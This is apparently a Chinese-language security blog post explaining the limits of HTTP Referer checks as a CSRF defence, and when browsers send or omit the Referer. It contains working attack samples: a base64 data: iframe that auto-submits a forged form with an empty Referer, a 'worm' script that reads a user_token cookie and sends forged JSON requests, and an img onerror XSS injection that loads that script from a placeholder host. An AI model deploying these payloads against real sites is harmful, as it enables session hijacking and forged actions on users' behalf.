CSRF 与 HTTP Referer 头

增加、判断 HTTP Referer 头是防御 CSRF 攻击的方式之一,下面总结一下 HTTP Referer 头防御 CSRF 的不足与 HTTP Referer 头相关知识。

HTTP Referer 头防御 CSRF 的不足

HTTP Referer 的值是浏览器添加的,只有用户可以修改自己请求的 HTTP Referer,其他恶意第三方不能修改,一定程度上可以防范 CSRF。 但是跨协议时HTTP Referer 是空的,这时候就要考虑是否允许空HTTP Referer访问,有一定的取舍。例如下,使用data:协议:

<!DOCTYPE html>
<html>
<head>
    <title>empty_referer</title>
</head>
<body>
<iframe src="data:text/html;base64,PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPWh0dHA6Ly9hLmIuY29tL2Q+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdpZCcgdmFsdWU9JzEyMycvPjwvZm9ybT4KPHNjcmlwdD5kb2N1bWVudC5mb3Jtc1swXS5zdWJtaXQoKTs8L3NjcmlwdD4=">
</body>
</html>
# base64 解码如下:
<form method=post action=http://a.b.com/d><input type=text name='id' value='123'/></form>
<script>document.forms[0].submit();</script>

HTTP Referer 相关知识

Referer 发生的场景

用户在地址栏输入网址或选中浏览器书签时不会发送 Referer 字段。

发送 Referer 主要以下三种场景:

  • 用户点击网页上的链接
  • 用户发送表单
  • 用户加载静态资源,如图片、脚本样式
<!-- 加载图片 -->
<img src="foo.jpg">
<!-- 加载脚本 -->
<script src="foo.js"></script>
<!-- 加载样式 -->
<link href="foo.css" rel="stylesheet">

浏览器控制台可以使用 document.referrer查看当前页面的引荐来源(注意 referrer)。

ref 属性

网站开发者可以设置 rel="noreferrer(注意 referrer) 属性来控制不发送 Referer

<a href="..." rel="noreferrer">xxx</a>

点击上述链接则不会带有 Referer 字段。

最后

最后附上一个遇到的提交json数据蠕虫的payload 吧:

# attack.js
function GetUserToken() {
    var arr,reg = new RegExp("(^| )" + "user_token" + "=([^;]*)(;|$)");
    if (arr = document.cookie.match(reg)) {
        return unescape(arr[2]);
    } else {
        return null;
    }
}

function GetPath() {
    var userToken = GetUserToken();
    var path      = "/doSomething?_token=" + userToken;
    return path;
}

function Attacking() {
    var path = GetPath();
    var xhr  = new XMLHttpRequest();
    xhr.open("POST", path, true);
    xhr.setRequestHeader("Content-type", "application/json");
    xhr.onreadystatechange = function() {
        if (xhr.readyState == 4) {
            if (xhr.status == 200) {
                window.location.href = "https://success.com";
            } else {
                alert(xhr.responseText);
            }
        }
    };
    xhr.send(JSON.stringify({
        "JsonData": {
            "x": "xxx",
            "xx": {
                "xxx": 123
            },
            "xxxx": false,
            "xxxxx": true,
            "xxxxxx": [],
        }
    }));
}

Attacking();

插入的代码为:

<img src="123" onerror="javascript:var attack=document.createElement('script'),xroot=document.getElementsByClassName('body'),url='http://xxxx/attack.js';attack.setAttribute('src', url);xroot[0].appendChild(attack);"/>

onerror 部分格式化后为:

var attack = document.createElement('script'),
    xroot  = document.getElementsByClassName('body'),
    url='http://xxxx.com/attack.js';

attack.setAttribute('src', url);
xroot[0].appendChild(attack);

参考链接 :